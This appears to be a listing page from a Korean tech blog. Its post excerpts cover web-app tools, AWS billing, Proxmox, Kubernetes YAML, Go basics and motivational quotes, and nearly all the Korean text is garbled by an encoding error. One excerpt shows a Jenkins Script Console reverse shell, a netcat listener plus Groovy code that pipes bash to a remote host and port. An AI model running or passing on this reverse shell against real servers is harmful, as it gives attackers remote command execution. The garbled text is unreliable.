๐Ÿ’ 1๋ถ„์ง€์‹

[์ •๋ณด] ํ’€์Šคํƒ ์›น์•ฑ์„ ํ•˜๋ฃจ๋งŒ์— ๋งŒ๋“ค์–ด์ฃผ๋Š” ํˆด๋“ค

https://news.hada.io/topic?id=13418 ํ’€์Šคํƒ ์›น์•ฑ์„ ํ•˜๋ฃจ๋งŒ์— ๋งŒ๋“ค์–ด์ฃผ๋Š” ํˆด๋“ค | GeekNews Rails์˜ ์ฒ ํ•™์„ ๋‹ด์€ ํ’€์Šคํƒ JS ํˆด๋“คKirimaseWaspGPT๋ฅผ ํ™œ์šฉํ•œ ํ’€์Šคํƒ ์•ฑ๊ฐœ๋ฐœ3. GPT Engineer4. GPT PilotUI ์ƒ์„ฑ ํˆด๋“ค5. v0.dev6. openv07. screenshot-to-code8. Builder.io news.hada.io

๐Ÿ’ 1๋ถ„์ง€์‹

[์ •๋ณด] ๊ทธ๊ฒƒ์€ ์ด๋ฃจ์–ด์งˆ ์ˆ˜ ์—†๋‹ค

'๊ทธ๊ฒƒ์€ ์ด๋ฃจ์–ด์งˆ ์ˆ˜ ์—†๋‹ค'๊ณ  ๋งํ•˜์ง€ ๋ง๋ผ. ํ˜น์€ ์„ฑ๊ณตํ•˜๋Š” ๋‹ค๋ฅธ์‚ฌ๋žŒ์ด ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ทธ ๋ฌด์–ธ๊ฐ€๊ฐ€ ๋‹น์‹ ์—๊ฒŒ๋Š” ์—†๋‹ค๊ณ  ์ƒ๊ฐํ•˜์ง€ ๋ง๋ผ. ๋งŒ์•ฝ ๋‹น์‹ ๊ณผ ์„ฑ๊ณตํ•˜๋Š” ์‚ฌ๋žŒ์˜ '์ฐจ์ด์ '์ด ์žˆ๋‹ค๋ฉด ์„ฑ๊ณตํ•˜๋Š” ์‚ฌ๋žŒ๋“ค์˜ ์—ด๋ง์ด ๋‹น์‹ ์˜ ๊ทธ๊ฒƒ๋ณด๋‹ค ๋” ์—ด์ •์ ์ด๊ณ  ๋” ํฌ๋‹ค๋Š” ๊ฒƒ๋ฟ์ด๋‹ค. ๋‚˜ํด๋ ˆ์˜จ ํž ์„ฑ๊ณต์˜ ๋ฒ•์น™ 6์žฅ ์ž์ œ๋ ฅ, ์ƒํ™ฉ์„ ํ†ต์ œํ•˜๋Š” ํž˜

๐Ÿ’ 1๋ถ„์ง€์‹

[์ •๋ณด] ๋ชฉํ‘œ์˜ ํฌ๊ธฐ๊ฐ€ ๋ฐฉ๋ฒ•์„ ์ •ํ•œ๋‹ค.

์„ธ๊ณ„์ •๋ณต https://youtube.com/shorts/tUCg-2qOJVY?si=d30zoOSTlHW_Rli3

๐Ÿ’ 1๋ถ„์ง€์‹

[์ •๋ณด] ์‚ฌ์†Œํ•จ์˜ ์ค‘์š”์„ฑ

๋‚˜๋Š” ์ƒ๊ฐํ•œ๋‹ค. ์ฒฉ๋ณด๊ฐ€ ๋ชจ์—ฌ ์ •๋ณด๊ฐ€๋œ๋‹ค ์ •๋ณด๊ฐ€ ๋ชจ์—ฌ ์ „๋žต์ด๋œ๋‹ค ์ „๋žต์ด ๋ชจ์—ฌ ์ •์ฑ…์ด ๋œ๋‹ค ์ •์ฑ…์ด ๋ชจ์—ฌ ํ˜„์ƒ์ด ๋œ๋‹ค ํ˜„์ƒ์ด ๋ชจ์—ฌ ๋Œ€์„ธ๊ฐ€ ๋œ๋‹ค ๋Œ€์„ธ๊ฐ€ ๋ชจ์—ฌ ์ฒฉ๋ณด๊ฐ€ ๋œ๋‹ค ์ฒ˜์Œ๋ถ€ํ„ฐ ์ž˜ํ•˜๊ฑฐ๋‚˜ ํฐ ๊ฒƒ์„ ๋งŒ๋“ค ํ•„์š”๊ฐ€ ์—†๋‹ค. ๊ทธ ๊ฒƒ๋“ค์ด๋ชจ์—ฌ ๋‹ค๋ฅธ ๊ฒƒ์œผ๋กœ ์ „ํ™˜์ด ๋˜๋ฉฐ ๋ฐ˜๋ณต์˜ ์ˆœํ™˜์ด ๋˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋ธ”๋กœ๊ทธ๋ฅผ ์šด์˜ํ•œ์ง€ 8๋…„์ด ๋„˜์—ˆ๋‹ค ๋‹น์‹œ์—๋Š” ๋Šฆ์—ˆ๋‹ค๊ณ  ์ƒ๊ฐํ–ˆ์ง€๋งŒ ๊พธ์ค€ํžˆํ•˜๋‹ˆ ์ฒฉ๋ณด๊ฐ€ ๋ชจ์—ฌ ์ •๋ณด๊ฐ€๋˜๊ณ  ์ด ์ •๋ณด๋ฅผ ๊ฐ€์ง€๊ณ  ์ฑ…๋„ ์“ฐ๊ฒŒ ๋˜์—ˆ์œผ๋ฉฐ ์ด ์ •๋ณด๋ฅผ ํ†ตํ•˜์—ฌ ์ „๋žต์„ ์„ธ์›Œ ์ƒˆ๋กœ์šด ๋„์ „์œผ๋กœ ๋‚˜์•„๊ฐˆ ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ๋‹ค.

๐Ÿ’ 1๋ถ„์ง€์‹

[์ •๋ณด] ํ…Œํฌ๊ธฐ์—… ๋กœ๊ณ  SVG PNG ์‚ฌ์ดํŠธ

https://techicons.dev/ SVG and PNG tech icons | TechIcons SVG and PNG tech icons Download, copy and paste tech icons in SVG and PNG format for your projects. techicons.dev

๐Ÿ’ 1๋ถ„์ง€์‹

[์ •๋ณด] ์‹ค๋ ฅ์„ ๋นจ๋ฆฌ ์˜ฌ๋ฆฌ๋Š” ๋ฐฉ๋ฒ•

์„ฑ์žฅํ•˜๋Š” ๊ฒƒ์€ ๋ชจ๋ž˜์„ฑ์„ ์Œ“๋Š” ๊ฒƒ๊ณผ ๊ฐ™๋‹ค. ์ฒ˜์Œ ๋งŒ๋“œ๋Š” ๋ชจ๋ž˜์„ฑ์€ ํ˜•ํŽธ์—†๋‹ค. ํ˜•ํŽธ์—†๋Š” ๋ชจ๋ž˜์„ฑ์— ๋ชจ๋ž˜๋ฅผ ์Œ“์œผ๋ฉด ๋” ํ˜•ํŽธ์—†์–ด ์งˆ ๋ฟ์ด๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋ชจ๋ž˜์„ฑ์„ ๋ถ€์‹œ๊ณ  ๋‹ค์‹œ ๋ชจ๋ž˜์„ฑ์„ ์Œ“์œผ๋ฉด ์ด์ „๋ณด๋‹ค ๋” ๋‚˜์€ ๋ชจ๋ž˜์„ฑ์ด ๋งŒ๋“ค์–ด ์ง„๋‹ค. ์ด์ „์˜ ๊ฒฐ์ ์„ ์ œ๊ฑฐํ•œ ์ฑ„๋กœ ์Œ“์•„์˜ฌ๋ ค์ง„ ๋ชจ๋ž˜์„ฑ์€ ๊ฒฌ๊ณ ํ•˜๊ณ  ํ˜•ํƒœ๋ฅผ ์žก์•„๊ฐ€๊ฒŒ ๋œ๋‹ค. ํ˜•ํŽธ์—†๋Š” ๋ชจ๋ž˜์„ฑ์— ๋ชจ๋ž˜๋ฅผ ์Œ“์ง€๋ง๊ณ  ํ—ˆ๋ฌผ๊ณ  ๋‹ค์‹œ ์ง“์ž. https://brunch.co.kr/@qaing/3 ์ดˆ๊ธฐ ์ฐฝ์—…์ž/์Šคํƒ€ํŠธ์—… PM์ด ๊ผญ ์ฝ์–ด๋ด์•ผ ํ•  ์ฑ… ์ถ”์ฒœ ์•ˆ๋…•ํ•˜์„ธ์š” ํŒ€ํ์—์ž‰ PO์ž…๋‹ˆ๋‹ค! ์ €ํฌ ํŒ€ํ์—์ž‰์€ 0์—์„œ๋ถ€ํ„ฐ ์‹œ์ž‘ํ•ด ์ฐจ๊ทผ์ฐจ๊ทผ ์Œ“์•„ ๋‚˜๊ฐ€๋ฉฐ QAing์ด๋ผ๋Š” ํ”„๋กœ๋•ํŠธ๋ฅผ ๋งŒ๋“ค์–ด ๊ฐ€๊ณ  ์žˆ๋Š” ์ดˆ๊ธฐ ํ”„๋กœ๋•ํŠธ ํŒ€์ด์—์š”. ํŠนํžˆ PO๋กœ์„œ '์•„์ด๋””์–ด'๋ฅผ ํ•˜๋‚˜์˜ ์‹ค brunch.co.kr

๐Ÿ’ 1๋ถ„์ง€์‹

[๊ณต์œ ] ๋ฌผ๊ฒฝ๋ ฅ์„ ๊ฑฑ์ •ํ•˜๋Š” ์ง์žฅ์ธ๋“ค์—๊ฒŒ ๊ฑด๋„ค๋Š” ์ƒ˜ ์˜ฌํŠธ๋งŒ์˜ ์กฐ์–ธ - ํ˜ธ์ด

๊ฒฝ๋ ฅ์— ๋Œ€ํ•œ ๊ณ ๋ฏผ ๊ทธ๋ฆฌ๊ณ  ๋ฒˆ์•„์›ƒ ๋“ฑ ๊ณต๊ฐ๊ฐ€๋Š” ๊ธ€์ด์žˆ์–ด์„œ ๊ณต์œ ๋“œ๋ฆฝ๋‹ˆ๋‹ค. ์—ฌ๋Ÿฌ๋ถ„์€ ์ง€๊ธˆ ์ž์‹ ์ด ์ž˜ํ•  ์ˆ˜ ์žˆ๊ณ , ์„ธ์ƒ์ด ํ•„์š”๋กœ ํ•˜๋ฉฐ, ์ž์‹ ์ด ์ฆ๊ธธ ์ˆ˜ ์žˆ๋Š” ๋ถ„์•ผ์—์„œ ์—ด์‹ฌํžˆ ์ผํ•˜๊ณ  ๊ณ„์‹ ๊ฐ€์š”? ํ˜น์€ ๊ทธ๊ฒƒ์„ ์œ„ํ•ด ์œ„ํ—˜์„ ๊ฐ์ˆ˜ํ•˜๊ณ  ๊ณ„์‹ ๊ฐ€์š”? ์ €์ž์˜ ์งˆ๋ฌธ ๋ฌผ๊ฒฝ๋ ฅ์„ ๊ฑฑ์ •ํ•˜๋Š” ์ง์žฅ์ธ๋“ค์—๊ฒŒ ๊ฑด๋„ค๋Š” ์ƒ˜ ์˜ฌํŠธ๋งŒ์˜ ์กฐ์–ธ - ํ˜ธ์ด ๋‚˜๋งŒ์˜ ๋ถ„์•ผ์—์„œ ์„ฑ์žฅํ•˜๋ฉฐ ์ปค๋ฆฌ์–ด ์Œ“๊ธฐ | ์ธ์‚ฌ์ดํŠธ blog.hoy.im ๋‚ด๊ฐ€๊ฐ€๋Š” ์ด ๊ธธ์ด ์ œ์ผ ๋†’์€ ์‚ฐ์ธ๊ฐ€? ์–ด์งธ์„œ ์•ผ๋ง์žˆ๊ณ  ๋˜‘๋˜‘ํ•œ ์‚ฌ๋žŒ๋“ค ์ค‘ ๋Œ€๋‹ค์ˆ˜๊ฐ€ ์ž์‹ ์ด ์žฅ๊ธฐ์ ์œผ๋กœ ์•ผ๋ง์ด๋‚˜ ๋น„์ „์„ ์ง€๋‹ˆ์ง€ ์•Š์€ ์—…๊ณ„(์ž˜๋ชป๋œ ์–ธ๋•, wrong hill)์— ๋‚จ์•„ ์‹œ๊ฐ„์„ ๋‚ญ๋น„ํ•˜๋Š”๊ฐ€? [๋ฒˆ์—ญ] ์ž˜๋ชป๋œ ์–ธ๋• ์˜ค๋ฅด๊ธฐ(Climbing the wrong hill) ์ง€๋‚œ ์ฃผ ๋‹ค๋ค˜๋˜ ํฌ๋ฆฌ์Šค ๋”•์Šจ์˜ ๋ธ”๋กœ๊ทธ์—์„œ ํฅ๋ฏธ๋กœ์šด ๋‚ด์šฉ์˜ ๊ธ€์„ ์ฐพ์•„..

Next.js

[์ •๋ณด] NextAuth.js Type ์—๋Ÿฌ ์žก๊ธฐ - CredentialsProvider / prisma

์ˆ˜์ • ํฌ์ธํŠธ๋Š” 2๊ฐœ์ด๋‹ค. credentials์˜ type์„ ๋ช…์‹œ, ๋กœ๊ทธ์ธ ์„ฑ๊ณตํ•˜๊ณ  return ๋˜๋Š” user ๊ฐ’์„ any๋กœ ๋ฐ˜ํ™˜ import bcrypt from "bcrypt"; import NextAuth, { AuthOptions } from "next-auth"; import CredentialsProvider from "next-auth/providers/credentials"; import prismadb from "@/app/lib/prisma"; import { PrismaAdapter } from "@auth/prisma-adapter"; export const authOptions: AuthOptions = { providers: [ CredentialsProvider({ name: "..

๊ธฐํƒ€์ •๋ณด

[ํ•ด๊ฒฐ๋ฐฉ๋ฒ•] proxmox-boot-tool: not found

Proxmox์˜ dns๋ฅผ ๋‚ด๋ถ€ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ๋ฐ”๋ผ๋ณด๊ฒŒํ•˜์—ฌ 7์—์„œ 8๋กœ ๋„˜์–ด๊ฐˆ๋•Œ ์—…๋ฐ์ดํŠธ ๋ฌด๊ฒฐ์„ฑ์ด ๊นจ์กŒ์—ˆ๋‹ค. ์ด์™€์ค‘ ์ปจํ…Œ์ด๋„ˆ๋“ค์€ ์ž˜ ๋™์ž‘ํ•˜๊ณ  ์žˆ์—ˆ๊ณ  ์›น์„œ๋ฒ„๋งŒ ๋‹ค์šด์ด ๋˜์–ด์„œ ํ•ด๊ฒฐ๋ฐฉ๋ฒ•์„ ์ฐพ๊ณ ์žˆ์—ˆ๋‹ค. Setting up initramfs-tools (0.140) ... update-initramfs: deferring update (trigger activated) Processing triggers for initramfs-tools (0.140) ... update-initramfs: Generating /boot/initrd.img-5.13.19-6-pve /etc/initramfs/post-update.d//proxmox-boot-sync: 10: /usr/sbin/proxmox-boot-tool: not ..

๐Ÿ’Œ ์ •๋ณด๋ณด์•ˆ ๋ฉ”์ผ๋ง ์‹œ์Šคํ…œ

[์—…๋ฐ์ดํŠธ] ์ •๋ณด๋ณด์•ˆ ๋ฉ”์ผ๋ง ์‹œ์Šคํ…œ 3.4v

๋‚ด์šฉ ์ •๋ณด๋ณด์•ˆ ๋ฉ”์ผ๋ง ์‹œ์Šคํ…œ์ด ์—…๋ฐ์ดํŠธ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. - FIX: UI/UX๋ฅผ ๊ฐœ์„ ํ•˜์˜€์Šต๋‹ˆ๋‹ค. ๋ฐ”๋กœ๊ฐ€๊ธฐ https://mailing.cyber-luna.com/ ์ •๋ณด๋ณด์•ˆ ๋ฉ”์ผ๋ง ์‹œ์Šคํ…œ ๋“ฑ๋ก/ํ•ด์ œ mailing.cyber-luna.com

๊ธฐํƒ€์ •๋ณด

[์ •๋ณด] ๋ถ€๋™์‚ฐ ํ•œ ์ค„ ๋น„์œ 

์ฃผ๊ฑฐ ๋ชฉ์ ์šฉ ์ง‘์„ ๋Œ€์ถœํ•˜์—ฌ ๊ตฌ๋งคํ•˜๋Š” ๊ฒƒ์€ ์ง€๊ตฌ์—์„œ ์ด์ œ ๋ง‰ ์˜์•„์˜ฌ๋ ค์ง„ ๋กœ์ผ“์— ๋ฌด๊ฑฐ์šด ์ถ”๋ฅผ ๋‹ค๋Š” ๊ฒƒ๊ณผ ๊ฐ™๋‹ค. ์šฐ์ฃผ๊นŒ์ง€ ์˜์•„์ง„ ๋กœ์ผ“์— ๋ฌด๊ฑฐ์šด ์ถ”๋ฅผ ๋‹ฌ์•„๋„ ์•ž์„œ ๋‚˜๊ฐˆ ์ˆ˜ ์žˆ๋‹ค. ํ—ˆ๋‚˜ ํˆฌ์ž ๋ชฉ์ ์šฉ ์ง‘์€ ๊ทธ๋ฆฌํ•˜์ง€ ์•„๋‹ˆํ•˜๋‹ค. ์ง€๊ตฌ์—์„œ ์ด์ œ ๋ง‰ ์˜์•„์˜ฌ๋ ค์ง„ ๋กœ์ผ“์— ์—”์ง„์„ ํ•˜๋‚˜ ๋” ๋‹ค๋Š” ๊ฒƒ๊ณผ ๊ฐ™๋‹ค.

๊ธฐํƒ€์ •๋ณด

[์ •๋ณด] ipv4 ๊ณ ๊ฐˆ์— ๋”ฐ๋ฅธ ๊ณ ์ฐฐ

์š”์ฆ˜ AWS์˜ ์„œ๋น„์Šค๋“ค์„ ์ด์šฉํ•˜๋ฉด์„œ ๋น„์šฉ ๋ช…์„ธ์„œ๋ฅผ ๋ณด์•˜๋‹ค. ๊ทธ ํ•ญ๋ชฉ๋“ค ์ค‘ ํ•˜๋‚˜ ๋ˆˆ์— ๋“ค์–ด์˜ค๋Š” ๊ฒƒ์ด ์žˆ์—ˆ๋‹ค. ๊ทธ ๊ฒƒ์€ ๋ฐ”๋กœ ๊ณต์ธ IPv4 ์‚ฌ์šฉ์— ๋”ฐ๋ฅธ ๋น„์šฉ ์ด์—ˆ๋‹ค. AWS์—์„œ IPv4๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด์„œ ๋น„์šฉ์ ˆ๊ฐํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์ž๊ธฐ๊ฐ€ ์†Œ์œ ํ•œ IP๋กœ ์—ฐ๊ฒฐํ•˜๋Š” BYOIP ๋ฟ์œผ๋กœ ์•Œ๊ณ ์žˆ์œผ๋ฉฐ, ๊ธฐ์—…์—์„œ๋Š” IDC ์ „์šฉํšŒ์„  ๋น„์šฉ์ด ์›Œ๋‚™ ๋น„์‹ธ๊ธฐ์— AWS์—์„œ ๋ฐœ์ƒํ•˜๋Š” Public IPv4 ๋น„์šฉ์€ ๊ณ ๋ ค์‚ฌํ•ญ์ด ์•„๋‹ˆ๋ผ๋Š” ์˜๊ฒฌ์ด ์žˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋น„์šฉ ์ •์ฑ…์ด ๋ณ€๊ฒฝ ๋œ ๊ฒƒ์ด IPv4 ๊ณ ๊ฐˆ์˜ ์˜ํ–ฅ์ด๋ผ๊ณ  ํ•œ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณ ๊ฐˆ ์‚ฌํƒœ๋กœ ์ธํ•˜์—ฌ ์‹ ๊ทœ ์‹œ์žฅ์— ์ง„์ž… ๋˜๋Š” ์‹ ๊ทœ ์˜คํ”ˆ ์„œ๋น„์Šค๋“ค์— ๋Œ€ํ•ด์„œ๋Š” IPv6๋กœ ์šด์˜์„ ํ•  ์ˆ˜ ๋ฐ–์— ์—†๋Š” ์ƒํ™ฉ์— ์ฒ˜ํ•˜๋Š” ๊ฐœ์ธ ๋˜๋Š” ๊ธฐ์—…๋“ค์ด ์ƒ๊ฒจ๋‚  ๊ฒƒ์ด๋‹ค. ์ด์— ๋Œ€๋น„๋ฅผ ์œ„ํ•˜์—ฌ ์ƒ๊ฐํ•ด ๋ณธ๊ฒƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. (์‚ฌ์šฉ์ž)IPv6 ์„œ๋น„์Šค..

๊ธฐํƒ€์ •๋ณด

[์ •๋ณด] ์  ํ‚จ์Šค ๋ฆฌ๋ฒ„์Šค ์‰˜(์•ˆ์ •์ ์ธ ์‰˜ ํ˜ธ์ถœ)

๊ณต๊ฒฉ์ž nc -lvp 8080 Jenkins Script Console(Agent Host) String host="192.168.0.53"; int port=8080; String cmd="bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so...

๐Ÿžํ”„๋กœ๊ทธ๋ž˜๋ฐ

[golang] ๊ธฐ์ดˆ

Go๋Š” main ํŒจํ‚ค์ง€ ๋‚ด์˜ Entry Point์ธ main() ํ•จ์ˆ˜๋ฅผ ์ฐพ์•„ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•œ๋‹ค. Go ์—์„œ๋Š” ํ• ๋‹น๋˜๋Š” ๊ฐ’์„ ๋ณด๊ณ  ๊ทธ ํƒ€์ž…์„ ์ถ”๋ก ํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์ž์ฃผ ์‚ฌ์šฉ๋œ๋‹ค. ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์ƒ์ˆ˜๋“ค ๋ฌถ์–ด์„œ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์•„๋ž˜์™€ ๊ฐ™์ด ๊ด„ํ˜ธ ์•ˆ์— ์ƒ์ˆ˜๋“ค์„ ๋‚˜์—ดํ•˜์—ฌ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค const ( Visa = "Visa" Master = "MasterCard" Amex = "American Express" )

๊ธฐํƒ€์ •๋ณด

[์ •๋ณด] AWS Saving Plan ๊ตฌ๋… ์ฆ‰์‹œ ์‹œ๊ฐ„ ๋‹น ๋น„์šฉ ๋ฐœ์ƒ(EC2 ๋ฏธ์‚ฌ์šฉ ํฌํ•จ)

ํ•œ์ค„์š”์•ฝ Saving Plan์€ ๋“ฑ๋ก ์ฆ‰์‹œ EC2 ์‚ฌ์šฉ์œ ๋ฌด์™€ ์ƒ๊ด€์—†์ด ๋น„์šฉ์ด ์ฒญ๊ตฌ๋˜๋ฉฐ ์›์น™์ƒ ์ทจ์†Œ๋Š” ๋ถˆ๊ฐ€ํ•˜๋‹ค. Support์— ์ทจ์†Œ ๋ฌธ์˜ ํ›„ ๋‚ด๋ถ€ ํ”„๋กœ์„ธ์Šค์— ๋”ฐ๋ผ ์ทจ์†Œ๋ฐ›์Œ ์ด์Šˆ๋‚ด์šฉ Saving Plan ์ด๋ž€? AWS Saving Plan ๊ตฌ๋… ์‹œ EC2๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์•„๋„ ์•ฝ์ •๋œ ๊ธˆ์•ก์œผ๋กœ ์‹œ๊ฐ„๋‹น ๋น„์šฉ ๋ฐœ์ƒ ๋ฉ๋‹ˆ๋‹ค. ์‚ฌ๊ฑด๋‚ด์šฉ ์ €๋Š” 0.05$๋กœ 1๋…„ ์•ฝ์ •์„ Add Cartํ•˜๋‹ˆ ์ฆ‰์‹œ ๊ณ„์•ฝ์ด ์ฒด๊ฒฐ๋œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ ๋•Œ๋ถ€ํ„ฐ ์‹œ๊ฐ„๋‹น ๋น„์šฉ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ €๋Š” ์ธํ„ฐ๋„ท์— ์ฐพ์•„๋ดค์ง€๋งŒ ๋‹ค๋“ค ๋œฌ๊ตฌ๋ฆ„ ์žก๋Š” ์—…์ฒด์˜ ๋น„์šฉ ๊ณ„์‚ฐ๋ฒ• ๋“ฑ ํ›„๊ธฐ๋ฅผ ์•Œ์ง€ ๋ชปํ•˜์—ฌ ๋‹ต๋‹ตํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๊ณต์œ ๋“œ๋ฆฝ๋‹ˆ๋‹ค. ์ €๋Š” ์ฒ˜์Œ์— ๋„ˆ๋ฌด ๋†€๋ผ์„œ ์ธํ„ฐ๋„ท์„ ์ฐพ์•„๋ณด๋‹ˆ ์ทจ์†Œ๊ฐ€ ์•ˆ๋œ๋‹ค๋Š” ๊ฒƒ์ด์—ˆ์Šต๋‹ˆ๋‹ค. 1๋…„์— 40๋งŒ์›์ด ๊ผผ์ง์—†์ด ๋‚ ์•„๊ฐ€๊ฒŒ ์ƒ๊ธด ๊ฒƒ ์ž…๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์ง€ํ‘ธ๋ผ๊ธฐ ์žก๋Š” ..

๊ธฐํƒ€์ •๋ณด

MSA๋กœ์˜ ์ด์ „

ํ”„๋กœํ† ํƒ€์ž… ํ˜•์‹์˜ ์†Œํ”„ํŠธ์›จ์–ด ์•„ํ‚คํ…์ฒ˜๋Š” ๋ชจ๋†€๋ฆฌ์‹์œผ๋กœ ๊ฐœ๋ฐœ์„ํ•˜์—ฌ ํ…Œ์ŠคํŠธํ›„ ๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ์›จ์–ด ์•„ํ‚คํ…์ฒ˜๋กœ์˜ ์ด์ „์˜ ํ•„์š”์„ฑ์„ ์š”์ฆ˜ ๋Š๋ผ๊ณ  ์žˆ๋‹ค. ๊ทธ ์ค‘ ํ•˜๋‚˜์˜ ๊ณผ์—…์€ ๋‚ด๊ฐ€ ์šด์˜ํ•˜๋Š” ์„œ๋น„์Šค์˜ ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค ์ด์ „์ด๋‹ค. ๋˜ํ•œ ์•ˆ์ •์„ฑ๊ณผ ๋น„์šฉ๋„ ํฐ ๋ถ€๋ถ„์„ ์ฐจ์ง€ํ•œ๋‹ค. ๋Œ€๊ณ ๊ฐ ์„œ๋น„์Šค๋ฅผ ํด๋ผ์šฐ๋“œ๋กœ ํ•  ์ง€ IDC์— ์žฅ๋น„๋ฅผ ๋„ฃ์–ด์„œ ๊ด€๋ฆฌํ• ์ง€ ๊ณ ๋ฏผ์ด๋‹ค. ํ•œ์ •๋œ ์ž์›์˜ ํšจ์œจ์ ์ธ ๋ถ„๋ฐฐ๊ฐ€ ์ œ์ผ ๊ณ ๋ฏผ์ด๋‹ค. ์‹ค์ œ ์„œ๋น„์Šค๋ฅผ ๋งŒ๋“ค์–ด๋ณด๊ณ  ์šด์˜ํ•ด๋ด„์œผ๋กœ์„œ ๊ฒฐ์ •ํ•ด๋„๋ ๊ฒƒ๊ฐ™๋‹ค. 1U ์„œ๋ฒ„๋ฅผ ๊ตฌ๋งคํ•ด์„œ ์‚ฌ๋ฌด์‹ค์—์„œ ์šด์˜ํ•˜๋‹ค๊ฐ€ ์ฝ”๋กœ์ผ€์ด์…˜์„ ๋„˜๊ธฐ๊ฑฐ๋‚˜ ํ•ด์•ผ๊ฒ ๋‹ค. ๊ฐœ๋ฐœ ๋ฐ ์šด์˜ ๋ง์„ ๊ฐ๊ฐ ์‚ฌ๋ฌด์‹ค ๋ฐ ํด๋ผ์šฐ๋“œ๋กœ ์ƒ๊ฐํ•ด๋ด์•ผ๊ฒ ๋‹ค. ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค ํ™˜๊ฒฝ์œผ๋กœ ๊ฐ๊ฐ ๊ตฌ์„ฑํ•ด์„œ ํ•˜๋ฉด ๋  ๋“ฏ ํ•˜๋‹ค. ์ด๋ ‡๊ฒŒ ๋˜๋ฉด ํ™˜๊ฒฝ์— ๋”ฐ๋ฅธ ์„ธํŒ…์ด ๋‹ฌ๋ผ์ ธ ํ•™์Šต๋น„์šฉ์ด 2๋ฐฐ์ด์ƒ์œผ๋กœ ์ฆ๊ฐ€ํ•œ๋‹ค. ํ•˜์ง€๋งŒ EKS๋กœ ๊ตฌ์„ฑ..

๊ธฐํƒ€์ •๋ณด

[์ •๋ณด] pv pvc ํŠธ๋Ÿฌ๋ธ”์ŠˆํŒ…

selector๋กœ ๋ผ๋ฒจ์„ ์ง€์ •ํ•˜๋ฉด pv๋ฅผ ์ž๋™์œผ๋กœ ์„ ํƒํ•˜๋Š” ์ค„ ์•Œ์•˜๋‹ค. ๋ง๊ทธ๋Œ€๋กœ ๋ผ๋ฒจ๋กœ ์ถ”๊ฐ€ ํ•„ํ„ฐ๋งํ•˜๋Š” ๊ธฐ๋Šฅ์ด๋‹ค. pvc ์—์„œ volumeName์œผ๋กœ pv๋ฅผ ์—ฐ๊ฒฐํ•œ๋‹ค. namespace ์ƒ์— ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ pvc๋Š” ๊ฐ™์ด ์žˆ์–ด์•ผํ•˜๋ฉฐ pv๋Š” ๋‹ค๋ฅธ namespace์— ์กด์žฌํ•ด๋„ ๋œ๋‹ค. apiVersion: v1 kind: PersistentVolume metadata: name: nfs-pv spec: storageClassName: "" capacity: storage: 128Gi accessModes: - ReadWriteMany nfs: server: 192.168.0.210 path: /data/nfs apiVersion: v1 kind: PersistentVolumeClaim metadata: name..

๊ธฐํƒ€์ •๋ณด

[์ •๋ณด] ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค(kubernetes) rabbitMQ ํ—ฌ๋ฆ„์ฐจํŠธ yaml ์„ค์ •

ํ—ฌ๋ฆ„์ฐจํŠธ ๊ตฌ์„ฑ๋„ ์ข…ํ•ฉ rabbitmq๋ฅผ stateful ๊ธฐ๋ฐ˜์œผ๋กœ ์ž‘์„ฑํ•˜์—ฌ ๋ฐ์ดํ„ฐ๊ฐ€ ์œ ์‹ค๋˜์ง€ ์•Š๋„๋ก nfs ์„œ๋ฒ„์— ๋งˆ์šดํŠธํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” yaml ์ž…๋‹ˆ๋‹ค. ๋„คํŠธ์›Œํฌ ์ ‘์†๊ฒฐ๊ณผ ๊ตฌ์„ฑํŒŒ์ผ statefulset.yaml apiVersion: apps/v1 kind: StatefulSet metadata: namespace: rabbit name: rabbitmq spec: replicas: 1 serviceName: rabbitmq selector: matchLabels: app: rabbitmq template: metadata: labels: app: rabbitmq spec: containers: - name: rabbitmq image: rabbitmq:3-management env: - name: ..

๊ธฐํƒ€์ •๋ณด

[์ •๋ณด] ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค ์„œ๋น„์Šค์˜ ์—ญํ• 

